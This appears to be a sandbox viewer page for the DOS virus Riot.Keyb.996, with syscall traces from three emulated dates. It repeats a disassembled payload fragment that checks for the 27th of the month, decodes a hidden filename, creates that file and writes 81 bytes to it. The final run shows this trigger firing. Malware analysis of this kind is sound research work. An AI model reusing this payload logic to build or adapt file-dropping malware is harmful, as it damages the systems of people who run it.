Sample viewer

vx.netlux.org/Virus.DOS.Riot.Keyb.996

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:49:19.851254893Z 42 PC: 12a53 | Get date 0x12a53: cmp dl, 0x1b
0x12a56: jne 0x12a94
0x12a58: mov cx, 0xf
0x12a5b: lea si, word ptr [bp + 0x474]
0x12a5f: inc byte ptr [si]
0x12a61: inc si
0x12a62: loop 0x12a5f
0x12a64: mov ah, 0x3c
0x12a66: xor cx, cx
0x12a68: lea dx, word ptr [bp + 0x474]
0x12a6c: int 0x21
0x12a6e: xchg ax, bx
0x12a6f: in al, 0x40
0x12a71: test al, 1
0x12a73: jne 0x12a87
0x12a75: mov ah, 0x40
0x12a77: mov cx, 0x51
0x12a7a: lea dx, word ptr [bp + 0x484]
0x12a7e: int 0x21
0x12a80: mov ah, 0x3e
2018-12-17T22:49:19.854150363Z 74 PC: 12a9e | Reallocate memory
2018-12-17T22:49:19.85696999Z 74 PC: 12aa9 | Reallocate memory
2018-12-17T22:49:19.85892317Z 72 PC: 12ab0 | Allocate memory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9851,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:54.458989177Z 42 PC: 12a53 | Get date 0x12a53: cmp dl, 0x1b
0x12a56: jne 0x12a94
0x12a58: mov cx, 0xf
0x12a5b: lea si, word ptr [bp + 0x474]
0x12a5f: inc byte ptr [si]
0x12a61: inc si
0x12a62: loop 0x12a5f
0x12a64: mov ah, 0x3c
0x12a66: xor cx, cx
0x12a68: lea dx, word ptr [bp + 0x474]
0x12a6c: int 0x21
0x12a6e: xchg ax, bx
0x12a6f: in al, 0x40
0x12a71: test al, 1
0x12a73: jne 0x12a87
0x12a75: mov ah, 0x40
0x12a77: mov cx, 0x51
0x12a7a: lea dx, word ptr [bp + 0x484]
0x12a7e: int 0x21
0x12a80: mov ah, 0x3e
2018-12-25T12:23:54.462023726Z 74 PC: 12a9e | Reallocate memory
2018-12-25T12:23:54.46351681Z 74 PC: 12aa9 | Reallocate memory
2018-12-25T12:23:54.464731462Z 72 PC: 12ab0 | Allocate memory

{"DateBased":true,"Day":27,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9851,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:54.482866051Z 42 PC: 12a53 | Get date 0x12a53: cmp dl, 0x1b
0x12a56: jne 0x12a94
0x12a58: mov cx, 0xf
0x12a5b: lea si, word ptr [bp + 0x474]
0x12a5f: inc byte ptr [si]
0x12a61: inc si
0x12a62: loop 0x12a5f
0x12a64: mov ah, 0x3c
0x12a66: xor cx, cx
0x12a68: lea dx, word ptr [bp + 0x474]
0x12a6c: int 0x21
0x12a6e: xchg ax, bx
0x12a6f: in al, 0x40
0x12a71: test al, 1
0x12a73: jne 0x12a87
0x12a75: mov ah, 0x40
0x12a77: mov cx, 0x51
0x12a7a: lea dx, word ptr [bp + 0x484]
0x12a7e: int 0x21
0x12a80: mov ah, 0x3e
2018-12-25T12:23:54.486028609Z 60 PC: 12a6e | Create or truncate file
2018-12-25T12:23:55.179234229Z 64 PC: 12a80 | Write file or device (Write 81 bytes on handle 5)
2018-12-25T12:23:55.184031842Z 62 PC: 12a84 | Close file